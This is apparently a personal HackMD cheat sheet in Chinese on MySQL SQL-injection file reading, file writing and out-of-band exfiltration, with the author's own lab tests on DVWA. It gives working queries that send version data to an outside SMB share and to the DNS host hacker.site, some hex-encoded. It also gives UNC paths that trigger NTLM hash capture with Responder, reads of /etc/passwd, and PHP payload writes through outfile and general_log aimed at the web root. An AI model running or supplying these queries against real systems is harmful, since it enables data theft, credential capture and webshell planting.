Try   HackMD

SQL injection 文件操作 OOB

tags: sql injection

load_file读文件

設置Load_file狀態

在MySQL注入中DNSlog外帶主要利用MySQL內置函數load_file()函數,load_file()不僅能讀取本地文件也能通過UNC的方式讀取遠程文件。

Load_file函數狀態:

要求用户具有file权限 通常root 才有

當secure_file_priv為空,則表示沒有任何限制。

當secure_file_priv為指定目錄,則表示數據庫導入導出只能在指定目錄。

當secure_file_priv為null,則表示不允許導入導出(MySQL 5.7 默認值)

MySQL中查詢secure_file_priv有以下方式

show variables like '%secure%';

select @@global.secure_file_priv;

以上部分內容轉載自:
https://www.freebuf.com/articles/web/323674.html


into outfile写文件

要求用户具有file权限 通常root 才有
文件不能覆盖写入,所以文件必须为不存在
如果secure_file_priv非空,则写入文件的目录只能为对应目录下

into dumpfile 写文件

我是想將這些內容 導出到 一個txt文件,事實上是可以完整導出每行記錄的.
這個很適合導庫

而into dump是不行的 它只能導出 一行數據!

若我們想把一個 可執行2進制 文件用into outfile函數導出
事實上 導出後 就會被破壞

因為into outfile 函數 會 在行末端寫入新行 更致命的 是會轉義 換行符
這樣的話這個2進制可執行 文件 就會被破壞

這時候我們用into dumpfile 就能導出 一個完整能執行的2進制 文件
into dumpfile 函數不對任何列或行進行終止,也不執行任何轉義處理

以上部分內容轉載自:
https://www.cnblogs.com/milantgh/p/5444398.html


MYSQL 帶外

這是window 橫向滲透,自己開啟一個共享資料夾(所有人可寫入),然後把資料帶到自己的資料夾。

select @@version into outfile '\\\\192.168.0.100\\temp\\out.txt';
select @@version into dumpfile '\\\\192.168.0.100\\temp\\out.txt;

DNS Log

select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874))

UNC 路徑 - NTLM 哈希竊取

需要用 responder 工具。基於錯誤的UNC PATH

select load_file('\\\\error\\abc');
select load_file(0x5c5c5c5c6572726f725c5c616263);
select 'osanda' into dumpfile '\\\\error\\abc';
select 'osanda' into outfile '\\\\error\\abc';
load data infile '\\\\error\\abc' into table database.table_name;

linux 實測

我自己實測,我覺得成功率不高,

首先要設置,就不太可能

secure_file_priv=''

讀檔案:

實測就算你開了 secure_file_priv='' 你也把一些檔案開了權限,你也查看了父目錄
你也查看了mysql的權限,有些目錄你就是讀寫不了,這個功能有點玄

mysql 是以 mysql 身份執行
当你在 Linux 系统上安装和配置 MySQL 服务时,它默认会以 mysql 用户的身份运行

有人說要關閉或調整,以下兩個,但我檢查,我根本沒設置,所以原因不明
AppArmor
SELinux

幸運一點可以寫入web目錄,不行就只能寫在系統的其他目錄,然後 file inlcusion

可讀

select load_file('/tmp/123.txt');
select load_file('/etc/hosts');
select load_file('/etc/apache2/sites-available/dvwa.com.conf');
SELECT LOAD_FILE('/etc/passwd');

select load_file('/tmp/123.txt');
select load_file('/my_pass_hash.txt');

select load_file '/tmp/123.txt' ;
select TO_BASE64(load_file('/tmp/login.php'));



不可讀

select load_file('/home/kali/Desktop/123.txt');
select load_file('/home/kali/123.txt');
select load_file('/home/123.txt');
可寫
SELECT VERSION() INTO OUTFILE '/tmp/test.txt';

SELECT "<?php phpinfo();?>" INTO OUTFILE '/tmp/test.txt';

SELECT "123" INTO OUTFILE '/var/lib/mysql/123.txt';

SELECT "<?php  phpinfo();?>" INTO OUTFILE '/var/lib/mysql/test123.txt';

SELECT FROM_BASE64('PD9waHAgcGhwaW5mbygpOz8+') INTO OUTFILE '/var/lib/mysql/test789.txt';

SELECT UNHEX('3c3f70687020706870696e666f28293b3f3e') INTO OUTFILE '/var/lib/mysql/test.txt';




不可寫
SELECT VERSION() INTO OUTFILE '/etc/test.txt';

SELECT VERSION() INTO OUTFILE '/etc/apache2/test.txt';

SELECT "123" INTO OUTFILE '/home/kali/Desktop/DVWA/test123.txt';

還有log 寫馬,但我實測也是失敗,或是功能不穩定,


SELECT @@global.general_log;
SELECT @@global.general_log_file;


可設置
set global general_log='on';

set global general_log_file='/tmp/test_log.txt';

set global general_log_file='/test_log.txt'


不可設置
set global general_log_file='/home/kali/Desktop/test_log.txt';


set global general_log_file='/home/kali/Desktop/test_log.txt';

set global general_log_file='/var/www/html/test123.php';

set global general_log_file='/test123.php';

  • 假設你真的成功寫入了檔案,並且不再web目錄,搭配 LFI 的漏洞的文件,所在的目錄 要有RX權限